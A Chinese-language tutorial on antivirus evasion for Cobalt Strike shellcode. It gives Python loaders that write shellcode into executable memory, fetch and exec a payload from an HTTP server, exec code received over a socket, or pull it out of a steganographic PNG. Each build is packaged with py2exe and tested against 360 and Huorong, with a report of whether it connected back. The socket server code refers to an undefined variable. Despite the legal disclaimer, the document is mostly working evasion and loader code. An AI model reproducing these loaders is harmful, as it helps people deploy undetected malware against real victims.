目录
💡 重要声明:
制作、传播、使用木马等恶意程序以及相关免杀技术,均属于违法行为,会严重侵害他人信息安全与合法权益,请遵守法律法规,仅用于正规网络安全学习与防御研究。
一、免杀概念
1、什么是免杀?
全称为反杀毒技术,指的是一种能使病毒木马免于被杀毒软件查杀的技术。
- 由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等技术,所以难度很高。一般人不会或没能力接触这技术的深层内容。
- 免杀的操作基本上都是对病毒、木马的内容、特征进行修改,从而躲避杀毒软件的查杀。
2、什么是杀毒软件?
杀毒软件类型分类:
- 个人或者社区版:360、电脑管家、金山毒霸、火绒、Defender等等~~
- 企业版杀毒软件:IDS、IPS、EDR(威胁感知、态势感知、流量监控、数据库监控等等~这些设备往往很贵)
杀毒软件查杀病毒分为如下三种:
- 静态查杀:一般根据特征码识别,然后对文件进行特征匹配。
- 行为查杀(动态查杀):主要是对其产生的行为进行检测。
- 云查杀:提取出文件的特征上传云端,云端进行检测后返回客户端,对病毒进行查杀。
杀毒软件持续更新病毒库、收集木马特征码,旧免杀方法易失效。攻防处于持续对抗状态,免杀技术需要不断学习钻研。
3、内存免杀
内存免杀依靠直接在内存中运行 Shellcode,因无文件落地,可绕过文件查杀。为提升效果,可分步申请内存:先申请读写内存,运行时再开启执行权限。
分离免杀从特征、行为两方面做规避,常见实现方式:把 Shellcode 从程序转移到内存,或将完整载荷分块上传、再拼接重组。
二、实现方法
用CS生成64位的Shell,在后续的几种方法中均会用到!

1、从文本提取shellcode
Step1:准备好用CS生成的shellcode
Step2:编辑Python代码
- 将ShellCode转为Base64编码的代码,保存为file_shellcode_base64.py
bash
import ctypes
import base64
# 需要b""中的双引号部分加入shellcode,即step1已中已生成的shellcode
s=b""
ss=base64.b64encode(s)
print(ss)
- 读取s.txt,即已被Base64编码的ShellCode文件。保存为read_shellcode_file.py
bash
# 调用s.txt文本文件中的值,带入到下面这段代码中执行,执行成功之后就会上线
with open('s.txt','r') as f:
s=f.read()
shellcode=base64.b64decode(s)
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0,ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
打包代码,保存为setup.py
bash
from distutils.core import setup
import py2exe
# read_shellcode_file表示生成的文件名
INCLUDES = ['read_shellcode_file']
options = {
"py2exe":
{
"compressed":1, # 0或1,1压缩,0不压缩
"optimize":2, # 0、1、2,文件的优化级别
"bundle_files":1, #1、2、3,1表示所有文件打包成一个exe文件,2表示除了Python的解释器外都绑定,3表示不绑定
"includes": INCLUDES, # 列表,包含其它的一些模块
"dll_excludes": ['MSVCP90.dll'] # 列表,包含的dll文件不会打包进exe程序
}
}
setup(
version='1.0.0',
options=options,
description="this is a xiaolin test",
zipfile=None, # 公用文件的压缩文件名称,默认为"library.zip";如果没有,则会将这些文件放在最终的exe文件中
# read_shellcode_file.py表示需要打包的文件
console=[{"script": 'read_shellcode_file.py'}] # 生成一个控制台形式的exe程序,对应的有windows=[],生成GUI形式的exe程序
)
Step3:执行file_shellcode_base64.py,并将得到的base64保存到s.txt

Step4:执行read_shellcode_file.py代码,并在CS中上线

Step5:使用python的py2exe打包器配合setup.py打包
下载py2exe依赖:
bash
C:\> python -m pip install py2exe -i https://mirrors.aliyun.com/pypi/simple/
打包命令:
bash
C:\> python setup.py py2exe
打包之前需要注意两点:
- 必须删除含有shellcode的内容,哪怕是注释也必须删除!否则会带有特征被查杀!
- 打包的文件夹中,只能包含的Python只能是read_shellcode_file.py和setup.py。如果有其它Python文件会出现打包出错的情况!
打包后的效果:

Step6:免杀测试
说明:生成的脚本程序必须和生成的配置文件、s.txt放置到一起运行

- 360卫士
运行文件:

扫描文件:

在360的VM中,当打包的文件被扫描和运行时都无报毒现象。
- 火绒

在火绒的VM中,打包的文件夹一放入就被杀掉了!
2、从加载器获取shellcode
Step1:准备好用CS生成的shellcode
Step2:编写代码
- 读取shellcode的代码,保存为res.py
bash
# 代码思路
# 调用python中的ctypes模块;
# 将shellcode值赋值给变量s;
# 解析并运行变量s(也就是运行shellcode)
import ctypes
# 需要b""中的双引号部分加入shellcode,即step1已中已生成的shellcode
s=b""
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(s), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(s), len(s))
handle = ctypes.windll.kernel32.CreateThread(0, 0,ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
- 加载器代码,用于调用res.py。保存为loader.py
bash
# 代码思路:
# 调用ctypes和sys,base64模块;
# sys.argv[1]表示接受赋值给变量的第一个参数进行base64解码;
# exec表示执行。
import ctypes
import sys,base64
s=sys.argv[1]
sc=base64.b64decode(s)
exec(sc)
Step3:用kali对res.py中的代码进行Base64编码
bash
$ base64 -w 0 res.py > base64.log
Step4:运行loader.py
bash
# 两个命令效果一样,任选其一即可,但更推荐第一个命令
C:\> for /f "delims=" %a in (base64.log) do python loader.py %a
C:\> python loader.py <你log里的那一长串字符串>
Step5:利用setup.py打包loader.py
bash
from distutils.core import setup
import py2exe
# loader表示生成的文件名
INCLUDES = ['loader']
options = {
"py2exe":
{
"compressed":1, # 0或1,1压缩,0不压缩
"optimize":2, # 0、1、2,文件的优化级别
"bundle_files":1, #1、2、3,1表示所有文件打包成一个exe文件,2表示除了Python的解释器外都绑定,3表示不绑定
"includes": INCLUDES, # 列表,包含其它的一些模块
"dll_excludes": ['MSVCP90.dll'] # 列表,包含的dll文件不会打包进exe程序
}
}
setup(
version='1.0.0',
options=options,
description="this is a xiaolin test",
zipfile=None, # 公用文件的压缩文件名称,默认为"library.zip";如果没有,则会将这些文件放在最终的exe文件中
# loader.py表示需要打包的文件
console=[{"script": 'loader.py'}] # 生成一个控制台形式的exe程序,对应的有windows=[],生成GUI形式的exe程序
)
打包命令:
bash
C:\> python setup.py py2exe
打包之前需要注意两点:
- 必须删除含有shellcode的内容,哪怕是注释也必须删除!否则会带有特征被查杀!
- 打包的文件夹中,只能包含的Python只能是loader.py和setup.py。如果有其它Python文件会出现打包出错的情况!
Step6:免杀测试
说明:生成的脚本程序必须和生成的配置文件放置到一起运行
统一的运行命令:
bash
C:\> for /f "delims=" %a in (base64.log) do loader.exe %a
- 360卫士
扫描:

运行上线:

这360的VM中,扫描和运行均未报毒!
- 火绒
扫描:

运行:

在火绒的VM中,扫描时未报毒,而运行时报毒,但却提示上线了!
3、从远程协议加载shellcode
原理 :
远程协议加载 Shellcode,原理与常规加载器逻辑相近。先将 Shellcode 托管至网络服务端,程序运行时通过网络地址远程拉取对应载荷。该方式下,Shellcode 仅在内存中运行,不会落地到本地磁盘。由于主流杀毒软件主要针对磁盘文件开展查杀,依托远程拉取、内存执行的模式,可实现规避查杀的效果。
操作步骤:
Step1:准备好用CS生成的shellcode
Step2:编写代码
远程加载代码,并命名为remote_agreement.py
bash
# 代码的含义:
# 调用python的ctypes,requests,base64三个模块。
# requests在python中表示发送一个请求。后面接请求方式:get、post、put等等将请求值base64解码
# exec表示执行
import ctypes,requests,base64
all=requests.get('http://192.168.179.128:8080/base64.log').text
all=base64.b64decode(all)
exec(all)
Step3:用kali对res.py中的代码进行Base64编码
bash
$ base64 -w 0 res.py > base64.log

Step4:开启Kali的http服务
bash
$ python3 -m http.server 8082

可通过远程访问得到base64.log:
bash
http://192.168.179.128:8082/base64.log

Step5:利用setup.py打包remote_agreement.py
bash
from distutils.core import setup
import py2exe
# remote_agreement表示生成的文件名
INCLUDES = ['remote_agreement']
options = {
"py2exe":
{
"compressed":1, # 0或1,1压缩,0不压缩
"optimize":2, # 0、1、2,文件的优化级别
"bundle_files":1, #1、2、3,1表示所有文件打包成一个exe文件,2表示除了Python的解释器外都绑定,3表示不绑定
"includes": INCLUDES, # 列表,包含其它的一些模块
"dll_excludes": ['MSVCP90.dll'] # 列表,包含的dll文件不会打包进exe程序
}
}
setup(
version='1.0.0',
options=options,
description="this is a xiaolin test",
zipfile=None, # 公用文件的压缩文件名称,默认为"library.zip";如果没有,则会将这些文件放在最终的exe文件中
# remote_agreement.py表示需要打包的文件
console=[{"script": 'remote_agreement.py'}] # 生成一个控制台形式的exe程序,对应的有windows=[],生成GUI形式的exe程序
)
打包命令:
bash
C:\> python setup.py py2exe
打包之前需要注意两点:
- 必须删除含有shellcode的内容,哪怕是注释也必须删除!否则会带有特征被查杀!
- 打包的文件夹中,只能包含的Python只能是remote_agreement.py和setup.py。如果有其它Python文件会出现打包出错的情况!
Step6:免杀测试
说明:生成的脚本程序必须和生成的配置文件放置到一起运行
- 360卫士
扫描:

运行:

这360的VM中,扫描未报毒,但运行时报毒,最终未上线!
- 火绒
扫描:

运行:

在火绒的VM中,扫描时未报毒,而运行时报毒,但却提示上线了!
4、通过管道传输shellcode
管道也常被称作隧道,本质是双方建立的专属通信通道,数据可在其中加密传输。军用光缆就是典型的隧道应用案例。
本次将借助 Python 的 Socket 模块实现管道式数据传输。Socket 通信采用客户端 / 服务端(C/S)架构,封装了复杂的 TCP/IP 协议细节,开发者只需遵循 Socket 接口规范,就能快速开发网络程序,上手简单、开发高效。
Python 内置的 socket 模块,完整覆盖套接字编程常用能力,同时支持 TCP、UDP 两种主流传输协议。
Step1:准备好用CS生成的shellcode
Step2:编写代码
编写服务端代码,保存为socket_S:
bash
# 代码注释:服务端socket_S代码
# 第一部分的代码依然是调用python的相关模块
# 第二部分def是接受参数,exec表示执行(也就是接受来自客户端的参数并执行)
# 最后这部分是服务端的一些配置:首先是指定监听的IP地址和端口,监听级别是5级,再往下是用了while循环判断(如果监听的IP地址和端口正确,就新建一个连接。如果IP地址和端口错误就断开连接)
# -*- coding:utf-8 -*-
import socket,base64,ctypes,os
server=socket.socket()
def zx(data):
sc=base64.b64decode(data)
print(sc)
exec(sc)
return sc
server = socket.socket()
server.bind(("0.0.0.0",9999))
server.listen(5)
while True:
conn, addr = server.accept()
print("new addr:", addr)
while True:
# 优化部分:循环接收完整数据
data = b''
while True:
chunk = conn.recv(1024)
data += chunk
if len(chunk) < 1024:
break
if not data:
print("客户端已断开")
break
print("执行指令:", data)
zx(data)
if len(cmd_res) == 0:
cmd_res = "cmd has no output...."
conn.send( str(len(cmd_res.encode())).encode() ) #发送服务端发送给客户端数据的长度
conn.send(cmd_res.encode("utf-8")) #发送服务端的数据
print("send done")
server.close()
编写客户端代码,保存为socket_C:
bash
# 代码注释:客户端socket_C代码
# 第一部分的代码依然是调用python的相关模块
# 第二部分表示客户端连接服务端的IP地址和端口
# 最后一部分表示在客户端运行连接服务端之后在">>>"后面输入相关的参数,传输给服务端
import socket
client = socket.socket()
client.connect(("localhost", 9999))
while True:
cmd = input(">>>:").strip()
if len(cmd) == 0: continue
client.send(cmd.encode("utf-8"))
cmd_res_size = client.recv(1024) # 接收命令的长度
print("命令结果大小:", cmd_res_size.decode())
recevied_size = 0 # 接收客户端发来数据的计算器
recevied_data = b'' # 客户端每次发来内容的计数器
while recevied_size < int(cmd_res_size.decode()): # 当接收的数据大小 小于 客户端发来的数据
cmd_res = client.recv(1024)
recevied_size += len(cmd_res) # 每次收到的服务端的数据有可能小于1024,所以必须用len判断
recevied_data += cmd_res
else:
print(recevied_data.decode("utf-8", "ignore"))
print("cmd res receive done ....", recevied_size)
client.close()
Step3:用kali对res.py中的代码进行Base64编码
bash
$ base64 -w 0 res.py > base64.log

Step4:试运行两个脚本传输shellcode,看能否正常上线
重要提醒:启动顺序必须是 先运行服务端脚本 → 再运行客户端脚本
操作步骤:
- 先把执行 Shellcode 的原始代码,用转码工具进行编码处理
- 在客户端界面的 >>> 后面,粘贴转码后的内容,按下回车发送
服务端代码重点说明:
这会发现服务端里有一段代码特别长,这是手动拼接代码的写法。之所以这么做,因为我们这个管道通信程序,单次传输的字符长度有限制,客户端无法一次性把完整的 Shellcode 发给服务端。
举个例子:
服务端单次只能收到一小段内容
但我们需要传输的是一整段完整的 Shellcode
所以必须在服务端代码里,把分段收到的内容手动拼接补全

最终目的:让服务端拿到完整、可正常运行Shellcode。并成功上线!

Step5:利用setup.py打包remote_agreement.py
bash
from distutils.core import setup
import py2exe
# socket_S 表示生成的文件名
INCLUDES = ['socket_S']
options = {
"py2exe":
{
"compressed":1, # 0或1,1压缩,0不压缩
"optimize":2, # 0、1、2,文件的优化级别
"bundle_files":1, #1、2、3,1表示所有文件打包成一个exe文件,2表示除了Python的解释器外都绑定,3表示不绑定
"includes": INCLUDES, # 列表,包含其它的一些模块
"dll_excludes": ['MSVCP90.dll'] # 列表,包含的dll文件不会打包进exe程序
}
}
setup(
version='1.0.0',
options=options,
description="this is a xiaolin test",
zipfile=None, # 公用文件的压缩文件名称,默认为"library.zip";如果没有,则会将这些文件放在最终的exe文件中
# socket_S.py表示需要打包的文件
console=[{"script": 'socket_S.py'}] # 生成一个控制台形式的exe程序,对应的有windows=[],生成GUI形式的exe程序
)
打包命令:
bash
C:\> python setup.py py2exe
打包之前需要注意两点:
- 必须删除含有shellcode的内容,哪怕是注释也必须删除!否则会带有特征被查杀!
- 打包的文件夹中,只能包含的Python只能是socket_S.py和setup.py。如果有其它Python文件会出现打包出错的情况!
Step6:免杀测试
说明:生成的脚本程序必须和生成的配置文件放置到一起运行
- 360卫士
扫描:

配置好IP和端口号之后运行:

在360的VM中,无论是扫描还是运行均未报毒!
- 火绒
扫描:

配置好IP和端口号之后运行:

在火绒的VM中,无论是扫描还是运行均未报毒!
说明:如果发现客户端连不上,则需要对每一台VM的防火墙入站规则作配置,让socket_s.exe能够从外部连入。
操作步骤:
- Windows 安全中心 → 防火墙和网络保护 → 高级设置
- 入站规则 → 新建规则
- 端口 → TCP → 特定本地端口:9999 → 允许连接
- 勾选 专用(也可以勾公用)→ 名称写:Socket Test 9999

总结管道脚本运行方式:
- 首先将服务端脚本上传到目标服务器
- 运行服务端程序"socket_S.exe"
- 客户端在连接目标IP地址的位置修改IP地址(IP地址为目标服务器的IP)
- 运行客户端连接服务端
- 在">>>"处输入进行过base64编码的参数,回车
5、通过图片隐写获取shellcode
原理:
图片隐写的实现原理:借助工具或程序,将待隐藏的数据嵌入载体图片中,随后把处理后的载体文件进行传输或公开发布。接收方再通过对应提取手段,还原出隐藏内容。该技术在 CTF 竞赛中应用十分广泛。
操作步骤:
Step1:准备好用CS生成的shellcode
Step2:编写代码
image-1.py代码:
bash
#!/usr/bin/env python3
#coding=utf-8
"""Encode png image via command-line.
Usage:
imageEncoding (-e|encode) <originImage> [<text>] [<encodedImage>]
imageEncoding (-d|decode) <encodedImage>
Options:
-h,--help 显示帮助菜单
-e 加密
-d 解密
Example:
imageEncoding -e coffee.png hello textOrFileToEncode encodedImage.png
imageEncoding -d encodedImage.png
"""
from PIL import Image
from docopt import docopt
"""
取得一个 PIL 图像并且更改所有值为偶数(使最低有效位为 0)
"""
def RGBAmakeImageEven(image):
pixels = list(image.getdata()) # 得到一个这样的列表: [(r,g,b,t),(r,g,b,t)...]
evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1,t>>1<<1) for [r,g,b,t] in pixels] # 更改所有值为偶数(魔法般的移位)
evenImage = Image.new(image.mode, image.size) # 创建一个相同大小的图片副本
evenImage.putdata(evenPixels) # 把上面的像素放入到图片副本
return evenImage
def RGBmakeImageEven(image):
pixels = list(image.getdata()) # 得到一个这样的列表: [(r,g,b,t),(r,g,b,t)...]
evenPixels = [(r>>1<<1,g>>1<<1,b>>1<<1) for [r,g,b] in pixels] # 更改所有值为偶数(魔法般的移位)
evenImage = Image.new(image.mode, image.size) # 创建一个相同大小的图片副本
evenImage.putdata(evenPixels) # 把上面的像素放入到图片副本
return evenImage
"""
内置函数 bin() 的替代,返回固定长度的二进制字符串
"""
def constLenBin(int):
binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','') # 去掉 bin() 返回的二进制字符串中的 '0b',并在左边补足 '0' 直到字符串长度为 8
return binary
"""
将字符串编码到图片中
"""
def RGBAencodeDataInImage(image, data):
evenImage = RGBAmakeImageEven(image) # 获得最低有效位为 0 的图片副本
binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 将需要被隐藏的字符串转换成二进制字符串
if len(binary) > len(image.getdata()) * 4: # 如果不可能编码全部数据, 抛出异常
raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 4 + " bits in this image. ")
encodedPixels = [(r+int(binary[index*4+0]),g+int(binary[index*4+1]),b+int(binary[index*4+2]),t+int(binary[index*4+3])) if index*4 < len(binary) else (r,g,b,t) for index,(r,g,b,t) in enumerate(list(evenImage.getdata()))] # 将 binary 中的二进制字符串信息编码进像素里
encodedImage = Image.new(evenImage.mode, evenImage.size) # 创建新图片以存放编码后的像素
encodedImage.putdata(encodedPixels) # 添加编码后的数据
return encodedImage
def RGBencodeDataInImage(image, data):
evenImage = RGBmakeImageEven(image) # 获得最低有效位为 0 的图片副本
binary = ''.join(map(constLenBin,bytearray(data, 'utf-8'))) # 将需要被隐藏的字符串转换成二进制字符串
if len(binary)%3 != 0: # 将转换的比特流数据末位补零,使其长度为3的倍数,防止其在下面重新编码的过程中发生越界
rema = len(binary)%3
binary = binary+('0'*(3-rema))
# print(len(binary))
if len(binary) > len(image.getdata()) * 3: # 如果不可能编码全部数据, 抛出异常
raise Exception("Error: Can't encode more than " + len(evenImage.getdata()) * 3 + " bits in this image. ")
encodedPixels = [(r+int(binary[index*3+0]),g+int(binary[index*3+1]),b+int(binary[index*3+2])) if index*3 < len(binary) else (r,g,b) for index, (r,g,b) in enumerate(list(evenImage.getdata()))] # 将 binary 中的二进制字符串信息编码进像素里
encodedImage = Image.new(evenImage.mode, evenImage.size) # 创建新图片以存放编码后的像素
encodedImage.putdata(encodedPixels) # 添加编码后的数据
return encodedImage
"""
从二进制字符串转为 UTF-8 字符串
"""
def binaryToString(binary):
index = 0
string = []
rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''
# rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''
fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)
while index + 1 < len(binary):
chartype = binary[index:].index('0') # 存放字符所占字节数,一个字节的字符会存为 0
length = chartype*8 if chartype else 8
string.append(chr(int(fun(binary[index:index+length],chartype),2)))
index += length
return ''.join(string)
"""
解码隐藏数据
"""
def RGBAdecodeImage(image):
pixels = list(image.getdata()) # 获得像素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取图片中所有最低有效位中的数据
# 找到数据截止处的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def RGBdecodeImage(image):
pixels = list(image.getdata()) # 获得像素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取图片中所有最低有效位中的数据
# 找到数据截止处的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def isTextFile(path):
if path.endswith(".txt"):
return True
elif path.endswith(".m"):
return True
elif path.endswith(".h"):
return True
elif path.endswith(".c"):
return True
elif path.endswith(".py"):
return True
else:
return False
if __name__ == '__main__':
"""command-line interface"""
arguments = docopt(__doc__)
# print(arguments)
if arguments['-e'] or arguments['encode']:
if arguments['<text>'] is None:
arguments['<text>'] = "待加密的文本"
if arguments['<encodedImage>'] is None:
arguments['<encodedImage>'] = "encodedImage.png"
if isTextFile(arguments['<text>']):
with open(arguments['<text>'], 'rt') as f:
arguments['<text>'] = f.read()
print("载体图片:")
print(arguments['<originImage>']+"\n")
print("待加密密文:")
print(arguments['<text>']+"\n")
print("加密后图片:")
print(arguments['<encodedImage>']+"\n")
print("加密中......\n")
im = Image.open(arguments['<originImage>'])
if im.mode == 'RGBA':
RGBAencodeDataInImage(im, arguments['<text>']).save(arguments['<encodedImage>'])
# elif im.mode == 'RGB':
# RGBencodeDataInImage(im, arguments['<text>']).save(arguments['<encodedImage>'])
else:
print("暂不支持此图片格式......")
print("加密完成,密文为:\n"+arguments['<text>']+"\n")
elif arguments['-d'] or arguments['decode']:
print("解密中......\n")
im = Image.open(arguments['<encodedImage>'])
if im.mode == 'RGBA':
print("解秘完成,密文为:\n"+RGBAdecodeImage(im)+"\n")
# elif im.mode == 'RGB':
# print("解秘完成,密文为:\n"+RGBdecodeImage(im)+"\n")
else:
print("非法的图片格式......")
image-2.py代码:
bash
#!/usr/bin/env python3
#coding=utf-8
"""Encode png image via command-line.
Usage:
imageEncoding (-e|encode) <originImage> [<text>] [<encodedImage>]
imageEncoding (-d|decode) <encodedImage>
Options:
-h,--help 显示帮助菜单
-e 加密
-d 解密
Example:
imageEncoding -e coffee.png hello textOrFileToEncode encodedImage.png
imageEncoding -d encodedImage.png
"""
from PIL import Image
from docopt import docopt
import base64,ctypes
"""
内置函数 bin() 的替代,返回固定长度的二进制字符串
"""
def constLenBin(int):
binary = "0"*(8-(len(bin(int))-2))+bin(int).replace('0b','') # 去掉 bin() 返回的二进制字符串中的 '0b',并在左边补足 '0' 直到字符串长度为 8
return binary
"""
将字符串编码到图片中
"""
"""
从二进制字符串转为 UTF-8 字符串
"""
def binaryToString(binary):
index = 0
string = []
rec = lambda x, i: x[2:8] + (rec(x[8:], i-1) if i > 1 else '') if x else ''
# rec = lambda x, i: x and (x[2:8] + (i > 1 and rec(x[8:], i-1) or '')) or ''
fun = lambda x, i: x[i+1:8] + rec(x[8:], i-1)
while index + 1 < len(binary):
chartype = binary[index:].index('0') # 存放字符所占字节数,一个字节的字符会存为 0
length = chartype*8 if chartype else 8
string.append(chr(int(fun(binary[index:index+length],chartype),2)))
index += length
return ''.join(string)
"""
解码隐藏数据
"""
def RGBAdecodeImage(image):
pixels = list(image.getdata()) # 获得像素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b))+str(int(t>>1<<1!=t)) for (r,g,b,t) in pixels]) # 提取图片中所有最低有效位中的数据
# 找到数据截止处的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def RGBdecodeImage(image):
pixels = list(image.getdata()) # 获得像素列表
binary = ''.join([str(int(r>>1<<1!=r))+str(int(g>>1<<1!=g))+str(int(b>>1<<1!=b)) for (r,g,b) in pixels]) # 提取图片中所有最低有效位中的数据
# 找到数据截止处的索引
locationDoubleNull = binary.find('0000000000000000')
endIndex = locationDoubleNull+(8-(locationDoubleNull % 8)) if locationDoubleNull%8 != 0 else locationDoubleNull
data = binaryToString(binary[0:endIndex])
return data
def isTextFile(path):
if path.endswith(".txt"):
return True
elif path.endswith(".m"):
return True
elif path.endswith(".h"):
return True
elif path.endswith(".c"):
return True
elif path.endswith(".py"):
return True
else:
return False
if __name__ == '__main__':
"""command-line interface"""
#arguments = docopt(__doc__)
im = Image.open('encodedImage.png')
print("解秘完成,密文为:\n"+RGBAdecodeImage(im)+"\n")
s=base64.b64decode(RGBAdecodeImage(im))
exec(s)
安装依赖:
bash
C:\> python -m pip install pillow -i https://mirrors.aliyun.com/pypi/simple/
C:\> python -m pip install docopt -i https://mirrors.aliyun.com/pypi/simple/
Step3:运行隐写脚本,对图片隐写shellcode
bash
C:\> python image-1.py -e 1.png plamov
- 功能:将文字 plamov 隐写到图片 1.png 中
- 参数:
- -e:加密 / 隐写模式
- 1.png:载体图片
- plamov:要隐藏的内容

bash
C:\> python image-1.py -e 1.png <shellcode的base64编码内容>

Step4:运行脚本image-2.py

Step5:打包image-2.py
bash
from distutils.core import setup
import py2exe
# image-2 表示生成的文件名
INCLUDES = ['image-2']
options = {
"py2exe":
{
"compressed":1, # 0或1,1压缩,0不压缩
"optimize":2, # 0、1、2,文件的优化级别
"bundle_files":1, #1、2、3,1表示所有文件打包成一个exe文件,2表示除了Python的解释器外都绑定,3表示不绑定
"includes": INCLUDES, # 列表,包含其它的一些模块
"dll_excludes": ['MSVCP90.dll'] # 列表,包含的dll文件不会打包进exe程序
}
}
setup(
version='1.0.0',
options=options,
description="this is a xiaolin test",
zipfile=None, # 公用文件的压缩文件名称,默认为"library.zip";如果没有,则会将这些文件放在最终的exe文件中
# image-2.py表示需要打包的文件
console=[{"script": 'image-2.py'}] # 生成一个控制台形式的exe程序,对应的有windows=[],生成GUI形式的exe程序
)
打包命令:
bash
C:\> python setup.py py2exe
打包之前需要注意两点:
- 必须删除含有shellcode的内容,哪怕是注释也必须删除!否则会带有特征被查杀!
Step6:免杀测试
说明:生成的脚本程序必须和生成的配置文件及包含隐写的图片放置到一起运行。
- 360卫士
扫描:

运行:

在360的VM中,扫描时无报毒,当运行时报毒且未在CS中上线!
- 火绒
扫描:

运行:

在火绒的VM中,扫描时无报毒,当运行时报毒且在CS中上线!